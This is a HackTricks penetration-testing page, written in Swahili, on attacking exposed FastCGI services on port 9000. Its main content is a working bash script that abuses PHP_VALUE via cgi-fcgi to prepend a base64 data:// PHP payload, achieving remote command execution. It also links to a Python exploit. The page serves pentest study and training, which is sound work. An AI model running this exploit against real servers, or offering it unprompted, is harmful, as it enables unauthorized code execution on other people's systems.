hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

3.5 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Ikiwa unataka kujifunza ni nini FastCGI angalia ukurasa ufuatao:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

Kwa kawaida FastCGI inafanya kazi kwenye bandari 9000 na haitambuliwi na nmap. Kawaida FastCGI inasikiliza tu kwenye localhost.

RCE

Ni rahisi sana kufanya FastCGI kutekeleza msimbo wowote:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

au unaweza pia kutumia skripti ifuatayo ya python: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

{% hint style="success" %} Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}